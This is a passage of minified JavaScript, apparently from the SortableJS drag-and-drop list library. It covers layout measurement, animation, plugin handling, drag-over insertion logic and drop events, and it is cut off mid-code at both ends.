r,a,l,s,c,u,d=t!==window&&t.parentNode&&t!==O()?(a=(r=t.getBoundingClientRect()).top,l=r.left,s=r.bottom,c=r.right,u=r.height,r.width):(l=a=0,s=window.innerHeight,c=window.innerWidth,u=window.innerHeight,window.innerWidth);if((e||n)&&t!==window&&(i=i||t.parentNode,!y))do{if(i&&i.getBoundingClientRect&&("none"!==P(i,"transform")||n&&"static"!==P(i,"position"))){var h=i.getBoundingClientRect();a-=h.top+parseInt(P(i,"border-top-width")),l-=h.left+parseInt(P(i,"border-left-width")),s=a+r.height,c=l+r.width;break}}while(i=i.parentNode);return o&&t!==window&&(o=(e=v(i||t))&&e.a,t=e&&e.d,e&&(s=(a/=t)+(u/=t),c=(l/=o)+(d/=o))),{top:a,left:l,bottom:s,right:c,width:d,height:u}}}function R(t,e,n){for(var o=A(t,!0),i=k(t)[e];o;){var r=k(o)[n];if(!("top"===n||"left"===n?r<=i:i<=r))return o;if(o===O())break;o=A(o,!1)}return!1}function X(t,e,n,o){for(var i=0,r=0,a=t.children;r<a.length;){if("none"!==a[r].style.display&&a[r]!==Bt.ghost&&(o||a[r]!==Bt.dragged)&&N(a[r],n.draggable,t,!1)){if(i===e)return a[r];i++}r++}return null}function Y(t,e){for(var n=t.lastElementChild;n&&(n===Bt.ghost||"none"===P(n,"display")||e&&!p(n,e));)n=n.previousElementSibling;return n||null}function B(t,e){var n=0;if(!t||!t.parentNode)return-1;for(;t=t.previousElementSibling;)"TEMPLATE"===t.nodeName.toUpperCase()||t===Bt.clone||e&&!p(t,e)||n++;return n}function E(t){var e=0,n=0,o=O();if(t)do{var i=v(t),r=i.a,i=i.d}while(e+=t.scrollLeft*r,n+=t.scrollTop*i,t!==o&&(t=t.parentNode));return[e,n]}function A(t,e){if(!t||!t.getBoundingClientRect)return O();var n=t,o=!1;do{if(n.clientWidth<n.scrollWidth||n.clientHeight<n.scrollHeight){var i=P(n);if(n.clientWidth<n.scrollWidth&&("auto"==i.overflowX||"scroll"==i.overflowX)||n.clientHeight<n.scrollHeight&&("auto"==i.overflowY||"scroll"==i.overflowY)){if(!n.getBoundingClientRect||n===document.body)return O();if(o||e)return n;o=!0}}}while(n=n.parentNode);return O()}function D(t,e){return Math.round(t.top)===Math.round(e.top)&&Math.round(t.left)===Math.round(e.left)&&Math.round(t.height)===Math.round(e.height)&&Math.round(t.width)===Math.round(e.width)}function S(e,n){return function(){var t;g||(1===(t=arguments).length?e.call(this,t[0]):e.apply(this,t),g=setTimeout(function(){g=void 0},n))}}function F(t,e,n){t.scrollLeft+=e,t.scrollTop+=n}function _(t){var e=window.Polymer,n=window.jQuery||window.Zepto;return e&&e.dom?e.dom(t).cloneNode(!0):n?n(t).clone(!0)[0]:t.cloneNode(!0)}function C(t,e){P(t,"position","absolute"),P(t,"top",e.top),P(t,"left",e.left),P(t,"width",e.width),P(t,"height",e.height)}function T(t){P(t,"position",""),P(t,"top",""),P(t,"left",""),P(t,"width",""),P(t,"height","")}var j="Sortable"+(new Date).getTime();function x(){var e,o=[];return{captureAnimationState:function(){o=[],this.options.animation&&[].slice.call(this.el.children).forEach(function(t){var e,n;"none"!==P(t,"display")&&t!==Bt.ghost&&(o.push({target:t,rect:k(t)}),e=M({},o[o.length-1].rect),!t.thisAnimationDuration||(n=v(t,!0))&&(e.top-=n.f,e.left-=n.e),t.fromRect=e)})},addAnimationState:function(t){o.push(t)},removeAnimationState:function(t){o.splice(function(t,e){for(var n in t)if(t.hasOwnProperty(n))for(var o in e)if(e.hasOwnProperty(o)&&e[o]===t[n][o])return Number(n);return-1}(o,{target:t}),1)},animateAll:function(t){var c=this;if(!this.options.animation)return clearTimeout(e),void("function"==typeof t&&t());var u=!1,d=0;o.forEach(function(t){var e=0,n=t.target,o=n.fromRect,i=k(n),r=n.prevFromRect,a=n.prevToRect,l=t.rect,s=v(n,!0);s&&(i.top-=s.f,i.left-=s.e),n.toRect=i,n.thisAnimationDuration&&D(r,i)&&!D(o,i)&&(l.top-i.top)/(l.left-i.left)==(o.top-i.top)/(o.left-i.left)&&(t=l,s=r,r=a,a=c.options,e=Math.sqrt(Math.pow(s.top-t.top,2)+Math.pow(s.left-t.left,2))/Math.sqrt(Math.pow(s.top-r.top,2)+Math.pow(s.left-r.left,2))*a.animation),D(i,o)||(n.prevFromRect=o,n.prevToRect=i,e=e||c.options.animation,c.animate(n,l,i,e)),e&&(u=!0,d=Math.max(d,e),clearTimeout(n.animationResetTimer),n.animationResetTimer=setTimeout(function(){n.animationTime=0,n.prevFromRect=null,n.fromRect=null,n.prevToRect=null,n.thisAnimationDuration=null},e),n.thisAnimationDuration=e)}),clearTimeout(e),u?e=setTimeout(function(){"function"==typeof t&&t()},d):"function"==typeof t&&t(),o=[]},animate:function(t,e,n,o){var i,r;o&&(P(t,"transition",""),P(t,"transform",""),i=(r=v(this.el))&&r.a,r=r&&r.d,i=(e.left-n.left)/(i||1),r=(e.top-n.top)/(r||1),t.animatingX=!!i,t.animatingY=!!r,P(t,"transform","translate3d("+i+"px,"+r+"px,0)"),this.forRepaintDummy=t.offsetWidth,P(t,"transition","transform "+o+"ms"+(this.options.easing?" "+this.options.easing:"")),P(t,"transform","translate3d(0,0,0)"),"number"==typeof t.animated&&clearTimeout(t.animated),t.animated=setTimeout(function(){P(t,"transition",""),P(t,"transform",""),t.animated=!1,t.animatingX=!1,t.animatingY=!1},o))}}}var H=[],L={initializeByDefault:!0},K={mount:function(e){for(var t in L)!L.hasOwnProperty(t)||t in e||(e[t]=L[t]);H.forEach(function(t){if(t.pluginName===e.pluginName)throw"Sortable: Cannot mount plugin ".concat(e.pluginName," more than once")}),H.push(e)},pluginEvent:function(e,n,o){var t=this;this.eventCanceled=!1,o.cancel=function(){t.eventCanceled=!0};var i=e+"Global";H.forEach(function(t){n[t.pluginName]&&(n[t.pluginName][i]&&n[t.pluginName][i](M({sortable:n},o)),n.options[t.pluginName]&&n[t.pluginName][e]&&n[t.pluginName][e](M({sortable:n},o)))})},initializePlugins:function(n,o,i,t){for(var e in H.forEach(function(t){var e=t.pluginName;(n.options[e]||t.initializeByDefault)&&((t=new t(n,o,n.options)).sortable=n,t.options=n.options,n[e]=t,a(i,t.defaults))}),n.options){var r;n.options.hasOwnProperty(e)&&(void 0!==(r=this.modifyOption(n,e,n.options[e]))&&(n.options[e]=r))}},getEventProperties:function(e,n){var o={};return H.forEach(function(t){"function"==typeof t.eventProperties&&a(o,t.eventProperties.call(n[t.pluginName],e))}),o},modifyOption:function(e,n,o){var i;return H.forEach(function(t){e[t.pluginName]&&t.optionListeners&&"function"==typeof t.optionListeners[n]&&(i=t.optionListeners[n].call(e[t.pluginName],o))}),i}};function W(t){var e=t.sortable,n=t.rootEl,o=t.name,i=t.targetEl,r=t.cloneEl,a=t.toEl,l=t.fromEl,s=t.oldIndex,c=t.newIndex,u=t.oldDraggableIndex,d=t.newDraggableIndex,h=t.originalEvent,f=t.putSortable,p=t.extraEventProperties;if(e=e||n&&n[j]){var g,m=e.options,t="on"+o.charAt(0).toUpperCase()+o.substr(1);!window.CustomEvent||y||w?(g=document.createEvent("Event")).initEvent(o,!0,!0):g=new CustomEvent(o,{bubbles:!0,cancelable:!0}),g.to=a||n,g.from=l||n,g.item=i||n,g.clone=r,g.oldIndex=s,g.newIndex=c,g.oldDraggableIndex=u,g.newDraggableIndex=d,g.originalEvent=h,g.pullMode=f?f.lastPutMode:void 0;var v,b=M(M({},p),K.getEventProperties(o,e));for(v in b)g[v]=b[v];n&&n.dispatchEvent(g),m[t]&&m[t].call(e,g)}}function z(t,e){var n=(o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:{}).evt,o=i(o,G);K.pluginEvent.bind(Bt)(t,e,M({dragEl:q,parentEl:V,ghostEl:Z,rootEl:$,nextEl:Q,lastDownEl:J,cloneEl:tt,cloneHidden:et,dragStarted:pt,putSortable:lt,activeSortable:Bt.active,originalEvent:n,oldIndex:nt,oldDraggableIndex:it,newIndex:ot,newDraggableIndex:rt,hideGhostForTarget:kt,unhideGhostForTarget:Rt,cloneNowHidden:function(){et=!0},cloneNowShown:function(){et=!1},dispatchSortableEvent:function(t){U({sortable:e,name:t,originalEvent:n})}},o))}var G=["evt"];function U(t){W(M({putSortable:lt,cloneEl:tt,targetEl:q,rootEl:$,oldIndex:nt,oldDraggableIndex:it,newIndex:ot,newDraggableIndex:rt},t))}var q,V,Z,$,Q,J,tt,et,nt,ot,it,rt,at,lt,st,ct,ut,dt,ht,ft,pt,gt,mt,vt,bt,yt=!1,wt=!1,Et=[],Dt=!1,St=!1,_t=[],Ct=!1,Tt=[],xt="undefined"!=typeof document,Ot=n,At=w||y?"cssFloat":"float",Mt=xt&&!c&&!n&&"draggable"in document.createElement("div"),Nt=function(){if(xt){if(y)return!1;var t=document.createElement("x");return t.style.cssText="pointer-events:auto","auto"===t.style.pointerEvents}}(),It=function(t,e){var n=P(t),o=parseInt(n.width)-parseInt(n.paddingLeft)-parseInt(n.paddingRight)-parseInt(n.borderLeftWidth)-parseInt(n.borderRightWidth),i=X(t,0,e),r=X(t,1,e),a=i&&P(i),l=r&&P(r),s=a&&parseInt(a.marginLeft)+parseInt(a.marginRight)+k(i).width,t=l&&parseInt(l.marginLeft)+parseInt(l.marginRight)+k(r).width;if("flex"===n.display)return"column"===n.flexDirection||"column-reverse"===n.flexDirection?"vertical":"horizontal";if("grid"===n.display)return n.gridTemplateColumns.split(" ").length<=1?"vertical":"horizontal";if(i&&a.float&&"none"!==a.float){e="left"===a.float?"left":"right";return!r||"both"!==l.clear&&l.clear!==e?"horizontal":"vertical"}return i&&("block"===a.display||"flex"===a.display||"table"===a.display||"grid"===a.display||o<=s&&"none"===n[At]||r&&"none"===n[At]&&o<s+t)?"vertical":"horizontal"},Pt=function(t){function l(r,a){return function(t,e,n,o){var i=t.options.group.name&&e.options.group.name&&t.options.group.name===e.options.group.name;if(null==r&&(a||i))return!0;if(null==r||!1===r)return!1;if(a&&"clone"===r)return r;if("function"==typeof r)return l(r(t,e,n,o),a)(t,e,n,o);e=(a?t:e).options.group.name;return!0===r||"string"==typeof r&&r===e||r.join&&-1<r.indexOf(e)}}var e={},n=t.group;n&&"object"==o(n)||(n={name:n}),e.name=n.name,e.checkPull=l(n.pull,!0),e.checkPut=l(n.put),e.revertClone=n.revertClone,t.group=e},kt=function(){!Nt&&Z&&P(Z,"display","none")},Rt=function(){!Nt&&Z&&P(Z,"display","")};xt&&!c&&document.addEventListener("click",function(t){if(wt)return t.preventDefault(),t.stopPropagation&&t.stopPropagation(),t.stopImmediatePropagation&&t.stopImmediatePropagation(),wt=!1},!0);function Xt(t){if(q){t=t.touches?t.touches[0]:t;var e=(i=t.clientX,r=t.clientY,Et.some(function(t){var e=t[j].options.emptyInsertThreshold;if(e&&!Y(t)){var n=k(t),o=i>=n.left-e&&i<=n.right+e,e=r>=n.top-e&&r<=n.bottom+e;return o&&e?a=t:void 0}}),a);if(e){var n,o={};for(n in t)t.hasOwnProperty(n)&&(o[n]=t[n]);o.target=o.rootEl=e,o.preventDefault=void 0,o.stopPropagation=void 0,e[j]._onDragOver(o)}}var i,r,a}function Yt(t){q&&q.parentNode[j]._isOutsideThisEl(t.target)}function Bt(t,e){if(!t||!t.nodeType||1!==t.nodeType)throw"Sortable: `el` must be an HTMLElement, not ".concat({}.toString.call(t));this.el=t,this.options=e=a({},e),t[j]=this;var n,o,i={group:null,sort:!0,disabled:!1,store:null,handle:null,draggable:/^[uo]l$/i.test(t.nodeName)?">li":">*",swapThreshold:1,invertSwap:!1,invertedSwapThreshold:null,removeCloneOnHide:!0,direction:function(){return It(t,this.options)},ghostClass:"sortable-ghost",chosenClass:"sortable-chosen",dragClass:"sortable-drag",ignore:"a, img",filter:null,preventOnFilter:!0,animation:0,easing:null,setData:function(t,e){t.setData("Text",e.textContent)},dropBubble:!1,dragoverBubble:!1,dataIdAttr:"data-id",delay:0,delayOnTouchOnly:!1,touchStartThreshold:(Number.parseInt?Number:window).parseInt(window.devicePixelRatio,10)||1,forceFallback:!1,fallbackClass:"sortable-fallback",fallbackOnBody:!1,fallbackTolerance:0,fallbackOffset:{x:0,y:0},supportPointer:!1!==Bt.supportPointer&&"PointerEvent"in window&&!u,emptyInsertThreshold:5};for(n in K.initializePlugins(this,t,i),i)n in e||(e[n]=i[n]);for(o in Pt(e),this)"_"===o.charAt(0)&&"function"==typeof this[o]&&(this[o]=this[o].bind(this));this.nativeDraggable=!e.forceFallback&&Mt,this.nativeDraggable&&(this.options.touchStartThreshold=1),e.supportPointer?h(t,"pointerdown",this._onTapStart):(h(t,"mousedown",this._onTapStart),h(t,"touchstart",this._onTapStart)),this.nativeDraggable&&(h(t,"dragover",this),h(t,"dragenter",this)),Et.push(this.el),e.store&&e.store.get&&this.sort(e.store.get(this)||[]),a(this,x())}function Ft(t,e,n,o,i,r,a,l){var s,c,u=t[j],d=u.options.onMove;return!window.CustomEvent||y||w?(s=document.createEvent("Event")).initEvent("move",!0,!0):s=new CustomEvent("move",{bubbles:!0,cancelable:!0}),s.to=e,s.from=t,s.dragged=n,s.draggedRect=o,s.related=i||e,s.relatedRect=r||k(e),s.willInsertAfter=l,s.originalEvent=a,t.dispatchEvent(s),c=d?d.call(u,s,a):c}function jt(t){t.draggable=!1}function Ht(){Ct=!1}function Lt(t){return setTimeout(t,0)}function Kt(t){return clearTimeout(t)}Bt.prototype={constructor:Bt,_isOutsideThisEl:function(t){this.el.contains(t)||t===this.el||(gt=null)},_getDirection:function(t,e){return"function"==typeof this.options.direction?this.options.direction.call(this,t,e,q):this.options.direction},_onTapStart:function(e){if(e.cancelable){var n=this,o=this.el,t=this.options,i=t.preventOnFilter,r=e.type,a=e.touches&&e.touches[0]||e.pointerType&&"touch"===e.pointerType&&e,l=(a||e).target,s=e.target.shadowRoot&&(e.path&&e.path[0]||e.composedPath&&e.composedPath()[0])||l,c=t.filter;if(!function(t){Tt.length=0;var e=t.getElementsByTagName("input"),n=e.length;for(;n--;){var o=e[n];o.checked&&Tt.push(o)}}(o),!q&&!(/mousedown|pointerdown/.test(r)&&0!==e.button||t.disabled)&&!s.isContentEditable&&(this.nativeDraggable||!u||!l||"SELECT"!==l.tagName.toUpperCase())&&!((l=N(l,t.draggable,o,!1))&&l.animated||J===l)){if(nt=B(l),it=B(l,t.draggable),"function"==typeof c){if(c.call(this,e,l,this))return U({sortable:n,rootEl:s,name:"filter",targetEl:l,toEl:o,fromEl:o}),z("filter",n,{evt:e}),void(i&&e.cancelable&&e.preventDefault())}else if(c=c&&c.split(",").some(function(t){if(t=N(s,t.trim(),o,!1))return U({sortable:n,rootEl:t,name:"filter",targetEl:l,fromEl:o,toEl:o}),z("filter",n,{evt:e}),!0}))return void(i&&e.cancelable&&e.preventDefault());t.handle&&!N(s,t.handle,o,!1)||this._prepareDragStart(e,a,l)}}},_prepareDragStart:function(t,e,n){var o,i=this,r=i.el,a=i.options,l=r.ownerDocument;n&&!q&&n.parentNode===r&&(o=k(n),$=r,V=(q=n).parentNode,Q=q.nextSibling,J=n,at=a.group,st={target:Bt.dragged=q,clientX:(e||t).clientX,clientY:(e||t).clientY},ht=st.clientX-o.left,ft=st.clientY-o.top,this._lastX=(e||t).clientX,this._lastY=(e||t).clientY,q.style["will-change"]="all",o=function(){z("delayEnded",i,{evt:t}),Bt.eventCanceled?i._onDrop():(i._disableDelayedDragEvents(),!s&&i.nativeDraggable&&(q.draggable=!0),i._triggerDragStart(t,e),U({sortable:i,name:"choose",originalEvent:t}),I(q,a.chosenClass,!0))},a.ignore.split(",").forEach(function(t){b(q,t.trim(),jt)}),h(l,"dragover",Xt),h(l,"mousemove",Xt),h(l,"touchmove",Xt),h(l,"mouseup",i._onDrop),h(l,"touchend",i._onDrop),h(l,"touchcancel",i._onDrop),s&&this.nativeDraggable&&(this.options.touchStartThreshold=4,q.draggable=!0),z("delayStart",this,{evt:t}),!a.delay||a.delayOnTouchOnly&&!e||this.nativeDraggable&&(w||y)?o():Bt.eventCanceled?this._onDrop():(h(l,"mouseup",i._disableDelayedDrag),h(l,"touchend",i._disableDelayedDrag),h(l,"touchcancel",i._disableDelayedDrag),h(l,"mousemove",i._delayedDragTouchMoveHandler),h(l,"touchmove",i._delayedDragTouchMoveHandler),a.supportPointer&&h(l,"pointermove",i._delayedDragTouchMoveHandler),i._dragStartTimer=setTimeout(o,a.delay)))},_delayedDragTouchMoveHandler:function(t){t=t.touches?t.touches[0]:t;Math.max(Math.abs(t.clientX-this._lastX),Math.abs(t.clientY-this._lastY))>=Math.floor(this.options.touchStartThreshold/(this.nativeDraggable&&window.devicePixelRatio||1))&&this._disableDelayedDrag()},_disableDelayedDrag:function(){q&&jt(q),clearTimeout(this._dragStartTimer),this._disableDelayedDragEvents()},_disableDelayedDragEvents:function(){var t=this.el.ownerDocument;f(t,"mouseup",this._disableDelayedDrag),f(t,"touchend",this._disableDelayedDrag),f(t,"touchcancel",this._disableDelayedDrag),f(t,"mousemove",this._delayedDragTouchMoveHandler),f(t,"touchmove",this._delayedDragTouchMoveHandler),f(t,"pointermove",this._delayedDragTouchMoveHandler)},_triggerDragStart:function(t,e){e=e||"touch"==t.pointerType&&t,!this.nativeDraggable||e?this.options.supportPointer?h(document,"pointermove",this._onTouchMove):h(document,e?"touchmove":"mousemove",this._onTouchMove):(h(q,"dragend",this),h($,"dragstart",this._onDragStart));try{document.selection?Lt(function(){document.selection.empty()}):window.getSelection().removeAllRanges()}catch(t){}},_dragStarted:function(t,e){var n;yt=!1,$&&q?(z("dragStarted",this,{evt:e}),this.nativeDraggable&&h(document,"dragover",Yt),n=this.options,t||I(q,n.dragClass,!1),I(q,n.ghostClass,!0),Bt.active=this,t&&this._appendGhost(),U({sortable:this,name:"start",originalEvent:e})):this._nulling()},_emulateDragOver:function(){if(ct){this._lastX=ct.clientX,this._lastY=ct.clientY,kt();for(var t=document.elementFromPoint(ct.clientX,ct.clientY),e=t;t&&t.shadowRoot&&(t=t.shadowRoot.elementFromPoint(ct.clientX,ct.clientY))!==e;)e=t;if(q.parentNode[j]._isOutsideThisEl(t),e)do{if(e[j])if(e[j]._onDragOver({clientX:ct.clientX,clientY:ct.clientY,target:t,rootEl:e})&&!this.options.dragoverBubble)break}while(e=(t=e).parentNode);Rt()}},_onTouchMove:function(t){if(st){var e=this.options,n=e.fallbackTolerance,o=e.fallbackOffset,i=t.touches?t.touches[0]:t,r=Z&&v(Z,!0),a=Z&&r&&r.a,l=Z&&r&&r.d,e=Ot&&bt&&E(bt),a=(i.clientX-st.clientX+o.x)/(a||1)+(e?e[0]-_t[0]:0)/(a||1),l=(i.clientY-st.clientY+o.y)/(l||1)+(e?e[1]-_t[1]:0)/(l||1);if(!Bt.active&&!yt){if(n&&Math.max(Math.abs(i.clientX-this._lastX),Math.abs(i.clientY-this._lastY))<n)return;this._onDragStart(t,!0)}Z&&(r?(r.e+=a-(ut||0),r.f+=l-(dt||0)):r={a:1,b:0,c:0,d:1,e:a,f:l},r="matrix(".concat(r.a,",").concat(r.b,",").concat(r.c,",").concat(r.d,",").concat(r.e,",").concat(r.f,")"),P(Z,"webkitTransform",r),P(Z,"mozTransform",r),P(Z,"msTransform",r),P(Z,"transform",r),ut=a,dt=l,ct=i),t.cancelable&&t.preventDefault()}},_appendGhost:function(){if(!Z){var t=this.options.fallbackOnBody?document.body:$,e=k(q,!0,Ot,!0,t),n=this.options;if(Ot){for(bt=t;"static"===P(bt,"position")&&"none"===P(bt,"transform")&&bt!==document;)bt=bt.parentNode;bt!==document.body&&bt!==document.documentElement?(bt===document&&(bt=O()),e.top+=bt.scrollTop,e.left+=bt.scrollLeft):bt=O(),_t=E(bt)}I(Z=q.cloneNode(!0),n.ghostClass,!1),I(Z,n.fallbackClass,!0),I(Z,n.dragClass,!0),P(Z,"transition",""),P(Z,"transform",""),P(Z,"box-sizing","border-box"),P(Z,"margin",0),P(Z,"top",e.top),P(Z,"left",e.left),P(Z,"width",e.width),P(Z,"height",e.height),P(Z,"opacity","0.8"),P(Z,"position",Ot?"absolute":"fixed"),P(Z,"zIndex","100000"),P(Z,"pointerEvents","none"),Bt.ghost=Z,t.appendChild(Z),P(Z,"transform-origin",ht/parseInt(Z.style.width)*100+"% "+ft/parseInt(Z.style.height)*100+"%")}},_onDragStart:function(t,e){var n=this,o=t.dataTransfer,i=n.options;z("dragStart",this,{evt:t}),Bt.eventCanceled?this._onDrop():(z("setupClone",this),Bt.eventCanceled||((tt=_(q)).removeAttribute("id"),tt.draggable=!1,tt.style["will-change"]="",this._hideClone(),I(tt,this.options.chosenClass,!1),Bt.clone=tt),n.cloneId=Lt(function(){z("clone",n),Bt.eventCanceled||(n.options.removeCloneOnHide||$.insertBefore(tt,q),n._hideClone(),U({sortable:n,name:"clone"}))}),e||I(q,i.dragClass,!0),e?(wt=!0,n._loopId=setInterval(n._emulateDragOver,50)):(f(document,"mouseup",n._onDrop),f(document,"touchend",n._onDrop),f(document,"touchcancel",n._onDrop),o&&(o.effectAllowed="move",i.setData&&i.setData.call(n,o,q)),h(document,"drop",n),P(q,"transform","translateZ(0)")),yt=!0,n._dragStartId=Lt(n._dragStarted.bind(n,e,t)),h(document,"selectstart",n),pt=!0,u&&P(document.body,"user-select","none"))},_onDragOver:function(n){var o,i,r,t,a=this.el,l=n.target,e=this.options,s=e.group,c=Bt.active,u=at===s,d=e.sort,h=lt||c,f=this,p=!1;if(!Ct){if(void 0!==n.preventDefault&&n.cancelable&&n.preventDefault(),l=N(l,e.draggable,a,!0),T("dragOver"),Bt.eventCanceled)return p;if(q.contains(n.target)||l.animated&&l.animatingX&&l.animatingY||f._ignoreWhileAnimating===l)return O(!1);if(wt=!1,c&&!e.disabled&&(u?d||(i=V!==$):lt===this||(this.lastPutMode=at.checkPull(this,c,q,n))&&s.checkPut(this,c,q,n))){if(r="vertical"===this._getDirection(n,l),o=k(q),T("dragOverValid"),Bt.eventCanceled)return p;if(i)return V=$,x(),this._hideClone(),T("revert"),Bt.eventCanceled||(Q?$.insertBefore(q,Q):$.appendChild(q)),O(!0);var g=Y(a,e.draggable);if(!g||function(t,e,n){n=k(Y(n.el,n.options.draggable));return e?t.clientX>n.right+10||t.clientX<=n.right&&t.clientY>n.bottom&&t.clientX>=n.left:t.clientX>n.right&&t.clientY>n.top||t.clientX<=n.right&&t.clientY>n.bottom+10}(n,r,this)&&!g.animated){if(g===q)return O(!1);if((l=g&&a===n.target?g:l)&&(w=k(l)),!1!==Ft($,a,q,o,l,w,n,!!l))return x(),g&&g.nextSibling?a.insertBefore(q,g.nextSibling):a.appendChild(q),V=a,A(),O(!0)}else if(g&&function(t,e,n){n=k(X(n.el,0,n.options,!0));return e?t.clientX<n.left-10||t.clientY<n.top&&t.clientX<n.right:t.clientY<n.top-10||t.clientY<n.bottom&&t.clientX<n.left}(n,r,this)){var m=X(a,0,e,!0);if(m===q)return O(!1);if(w=k(l=m),!1!==Ft($,a,q,o,l,w,n,!1))return x(),a.insertBefore(q,m),V=a,A(),O(!0)}else if(l.parentNode===a){var v,b,y,w=k(l),E=q.parentNode!==a,D=(D=q.animated&&q.toRect||o,C=l.animated&&l.toRect||w,S=(t=r)?D.left:D.top,s=t?D.right:D.bottom,g=t?D.width:D.height,m=t?C.left:C.top,D=t?C.right:C.bottom,C=t?C.width:C.height,!(S===m||s===D||S+g/2===m+C/2)),S=r?"top":"left",g=R(l,"top","top")||R(q,"top","top"),m=g?g.scrollTop:void 0;if(gt!==l&&(b=w[S],Dt=!1,St=!D&&e.invertSwap||E),0!==(v=function(t,e,n,o,i,r,a,l){var s=o?t.clientY:t.clientX,c=o?n.height:n.width,t=o?n.top:n.left,o=o?n.bottom:n.right,n=!1;if(!a)if(l&&vt<c*i){if(Dt=!Dt&&(1===mt?t+c*r/2<s:s<o-c*r/2)?!0:Dt)n=!0;else if(1===mt?s<t+vt:o-vt<s)return-mt}else if(t+c*(1-i)/2<s&&s<o-c*(1-i)/2)return function(t){return B(q)<B(t)?1:-1}(e);if((n=n||a)&&(s<t+c*r/2||o-c*r/2<s))return t+c/2<s?1:-1;return 0}(n,l,w,r,D?1:e.swapThreshold,null==e.invertedSwapThreshold?e.swapThreshold:e.invertedSwapThreshold,St,gt===l)))for(var _=B(q);(y=V.children[_-=v])&&("none"===P(y,"display")||y===Z););if(0===v||y===l)return O(!1);mt=v;var C=(gt=l).nextElementSibling,E=!1,D=Ft($,a,q,o,l,w,n,E=1===v);if(!1!==D)return 1!==D&&-1!==D||(E=1===D),Ct=!0,setTimeout(Ht,30),x(),E&&!C?a.appendChild(q):l.parentNode.insertBefore(q,E?C:l),g&&F(g,0,m-g.scrollTop),V=q.parentNode,void 0===b||St||(vt=Math.abs(b-k(l)[S])),A(),O(!0)}if(a.contains(q))return O(!1)}return!1}function T(t,e){z(t,f,M({evt:n,isOwner:u,axis:r?"vertical":"horizontal",revert:i,dragRect:o,targetRect:w,canSort:d,fromSortable:h,target:l,completed:O,onMove:function(t,e){return Ft($,a,q,o,t,k(t),n,e)},changed:A},e))}function x(){T("dragOverAnimationCapture"),f.captureAnimationState(),f!==h&&h.captureAnimationState()}function O(t){return T("dragOverCompleted",{insertion:t}),t&&(u?c._hideClone():c._showClone(f),f!==h&&(I(q,(lt||c).options.ghostClass,!1),I(q,e.ghostClass,!0)),lt!==f&&f!==Bt.active?lt=f:f===Bt.active&&lt&&(lt=null),h===f&&(f._ignoreWhileAnimating=l),f.animateAll(function(){T("dragOverAnimationComplete"),f._ignoreWhileAnimating=null}),f!==h&&(h.animateAll(),h._ignoreWhileAnimating=null)),(l===q&&!q.animated||l===a&&!l.animated)&&(gt=null),e.dragoverBubble||n.rootEl||l===document||(q.parentNode[j]._isOutsideThisEl(n.target),t||Xt(n)),!e.dragoverBubble&&n.stopPropagation&&n.stopPropagation(),p=!0}function A(){ot=B(q),rt=B(q,e.draggable),U({sortable:f,name:"change",toEl:a,newIndex:ot,newDraggableIndex:rt,originalEvent:n})}},_ignoreWhileAnimating:null,_offMoveEvents:function(){f(document,"mousemove",this._onTouchMove),f(document,"touchmove",this._onTouchMove),f(document,"pointermove",this._onTouchMove),f(document,"dragover",Xt),f(document,"mousemove",Xt),f(document,"touchmove",Xt)},_offUpEvents:function(){var t=this.el.ownerDocument;f(t,"mouseup",this._onDrop),f(t,"touchend",this._onDrop),f(t,"pointerup",this._onDrop),f(t,"touchcancel",this._onDrop),f(document,"selectstart",this)},_onDrop:function(t){var e=this.el,n=this.options;ot=B(q),rt=B(q,n.draggable),z("drop",this,{evt:t}),V=q&&q.parentNode,ot=B(q),rt=B(q,n.draggable),Bt.eventCanceled||(Dt=St=yt=!1,clearInterval(this._loopId),clearTimeout(this._dragStartTimer),Kt(this.cloneId),Kt(this._dragStartId),this.nativeDraggable&&(f(document,"drop",this),f(e,"dragstart",this._onDragStart)),this._offMoveEvents(),this._offUpEvents(),u&&P(document.body,"user-select",""),P(q,"transform",""),t&&(pt&&(t.cancelable&&t.preventDefault(),n.dropBubble||t.stopPropagation()),Z&&Z.parentNode&&Z.parentNode.removeChild(Z),($===V||lt&&"clone"!==lt.lastPutMode)&&tt&&tt.parentNode&&tt.parentNode.removeChild(tt),q&&(this.nativeDraggable&&f(q,"dragend",this),jt(q),q.style["will-change"]="",pt&&!yt&&I(q,(lt||this).options.ghostClass,!1),I(q,this.options.chosenClass,!1),U({sortable:this,name:"unchoose",toEl:V,newIndex:null,newDraggableIndex:null,originalEvent:t}),$!==V?(0<=ot&&(U({rootEl:V,name:"add",toEl:V,fromEl:$,originalEvent:t}),U({sortable:this,name:"remove",toEl:V,originalEvent:t}),U({rootEl:V,name:"sort",toEl:V,fromEl:$,originalEvent:t}),U({sortable:this,name:"sort",toEl:V,originalEvent:t})),lt&&lt.save()):ot!==nt&&0<=ot&&(U({sortable:this,name:"update",toEl:V,originalEvent:t}),U({sortable:this,name:"sort",toEl:V,originalEvent:t})),Bt.active&&(null!=ot&&-1!==ot||(ot=nt,rt=it),U({sortable:this,name:"end",toEl:V,originalEvent:t}),this.save())))),this._nulling()},_nulling:function(){z("nulling",this),$=q=V=Z=Q=tt=J=et=st=ct=pt=ot=rt=nt=it=gt=mt=lt=at=Bt.dragged=Bt.ghost=Bt.clone=Bt.active=null,Tt.forEach(function(t){t.checked=!0}),Tt.length=ut=dt=0},handleEvent:function(t){switch(t.type){case"drop":case"dragend":this._onDrop(t);break;case"dragenter":case"dragover":q&&(this._onDragOver(t),function(t){t.dataTransfer&&(t.dataTransfer.dropEffect="move");t.cancelable&&t.preventDefault()}(t));break;case"selectstart":t.preventDefault()}},toArray:function(){for(var t,e=[],n=this.el.children,o=0,i=n.length,r=this.options;o<i;o++)N(t=n[o],r.draggable,this.el,!1)&&e.push(t.getAttribute(r.dataIdAttr)||function(t){var e=t.tagName+t.className+t.src+t.href+t.textContent,n=e.length,o=0;for(;n--;)o+=e.charCodeAt(n);return o.toString(36)}(t));return e},sort:function(t,e){var n={},o=this.el;this.toArray().forEach(function(t,e){e=o.children[e];N(e,this.options.draggable,o,!1)&&(n[t]=e)},this),e&&this.captureAnimationState(),t.forEach(function(t){n[t]&&(o.removeChild(n[t]),o.appendChild(n[t]))}),e&&this.animateAll()},save:function(){var t=this.options.store;t&&t.set&&t.set(this)},closest:function(t,e){return N(t,e||this.options.draggable,this.el,!1)},option:function(t,e){var n=this.options;if(void 0===e)return n[t];var o=K.modifyOption(this,t,e);n[t]=void 0!==o?o:e,"group"===t&&Pt(n)},destroy:function(){z("destroy",this);var 